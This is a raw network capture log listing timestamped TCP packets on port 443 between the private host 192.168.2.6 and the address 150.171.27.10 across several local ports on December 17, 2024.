Dec 17, 2024 12:13:17.114010096 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.117805004 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.117830038 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.117924929 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.117954016 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.118012905 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.126565933 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.126589060 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.126687050 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.126698971 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.126820087 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.167538881 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.167560101 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.167681932 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.167692900 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.167773962 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.184284925 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.184310913 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.184401035 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.184415102 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.184458017 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.184482098 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.186233997 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.186254025 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.186325073 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.186332941 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.186414957 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.199613094 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.199662924 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.199716091 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.199745893 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.199783087 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.199803114 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.212511063 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.212537050 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.212598085 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.212610006 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.212657928 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.212668896 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.215569973 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.215595961 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.215672016 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.215698957 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.215723038 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.215750933 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.227226973 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.227274895 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.227336884 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.227349043 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.227396011 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.227427006 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230135918 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230151892 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230175972 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230186939 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230253935 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230283976 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230313063 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230319977 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.230350971 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230391026 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230391026 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.230519056 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.233166933 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.233192921 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.233267069 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.233279943 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.233323097 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.233366013 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.241333961 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.241358042 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.241492033 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.241507053 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.241616964 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.242664099 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.242702961 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.242774010 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.242784023 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.242845058 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.246227026 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.246254921 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.246315002 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.246328115 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.246385098 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.246416092 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.253398895 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.253422022 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.253555059 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.253571033 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.253663063 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.256191015 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.256207943 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.256298065 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.256309032 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.256409883 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.257064104 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.257086992 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.257148027 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.257155895 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.257204056 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.261126041 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.261153936 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.261213064 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.261221886 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.261279106 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.270627022 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.270638943 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.270699978 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.270718098 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.270761013 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.270920992 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.270944118 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.270982027 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.270987988 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.271028996 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.271054029 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.295468092 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.295501947 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.295546055 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.295556068 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.295617104 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.296844959 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.296853065 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.296869040 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.296878099 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297000885 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.297017097 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297044039 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.297050953 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297080994 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.297116995 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.297454119 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297486067 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297539949 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.297545910 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.297597885 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306236029 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306257010 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306350946 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306365967 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306413889 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306611061 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306636095 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306695938 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306704044 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306755066 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306780100 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.306874990 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306895018 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.306996107 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.307008028 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.307065964 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.314234972 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.314289093 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.314337969 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.314348936 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.314358950 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.314404011 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.318098068 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.318124056 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.318212032 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.318221092 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.318268061 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.321660042 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.321710110 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.321748018 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.321759939 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.321815968 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.333247900 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.333268881 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.339915037 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.339932919 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.339998007 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.340007067 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.340051889 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.357959986 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.357985973 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.358073950 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.358083963 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.358144045 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.368412018 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.368468046 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.368493080 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.368504047 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.368552923 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.376046896 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.376107931 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.376122952 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.376132011 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.376225948 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.384139061 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.384166002 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.384259939 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.384279013 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.384299994 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.384340048 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.392951965 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.392976046 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.393079042 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.393089056 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.393140078 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.393291950 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.393320084 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.393376112 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.393404961 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.393425941 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.393481970 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.399091959 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.399116039 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.399194002 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.399204016 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.399249077 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.399280071 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.402944088 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.402966976 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.403059006 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.403084040 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.403219938 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.412040949 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.412067890 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.412128925 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.412139893 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.412184000 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.414174080 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.414191961 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.414254904 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.414278030 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.414808035 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.423041105 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.423065901 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.423134089 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.423161983 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.423211098 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.425033092 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.425056934 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.425117970 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.425136089 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.425213099 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.427902937 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.427936077 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.427988052 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.427999020 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.428028107 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.428049088 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.432760954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.432780981 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.432837963 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.432862043 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.432877064 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.432949066 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.434978962 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.435004950 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.435072899 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.435091019 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.435327053 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.440860033 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.440881968 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.440979958 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.440992117 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.441035986 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.443659067 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.443680048 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.443732023 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.443753958 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.443768024 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.443797112 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.445688009 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.445705891 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.445759058 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.445777893 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.445904970 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.454019070 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.454042912 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.454122066 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.454147100 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.454202890 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.454960108 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.454983950 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.455038071 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.455048084 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.455073118 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.455099106 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.463778019 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.463807106 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.463855982 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.463881969 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.463896990 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.463929892 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.465986013 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.466016054 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.466059923 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.466078997 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.466095924 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.466124058 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.474059105 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.474087000 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.474131107 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.474159956 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.474179983 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.474196911 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.483038902 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.483087063 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.483118057 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.483139992 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.483167887 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.483196974 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.492193937 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.492250919 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.492309093 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.492324114 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.492353916 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.492397070 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.506642103 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.506664038 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.506747007 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.506757021 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.506798029 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.518177032 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.518199921 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.518277884 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.518287897 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.518335104 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.530554056 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.530610085 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.530679941 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.530694008 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.530729055 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.530751944 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.542906046 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.542932034 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.543025017 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.543040037 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.543081999 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.543104887 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.550523043 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.550553083 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.550677061 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.550698042 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.550754070 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.554497004 CET	443	49734	150.171.27.10	192.168.2.6
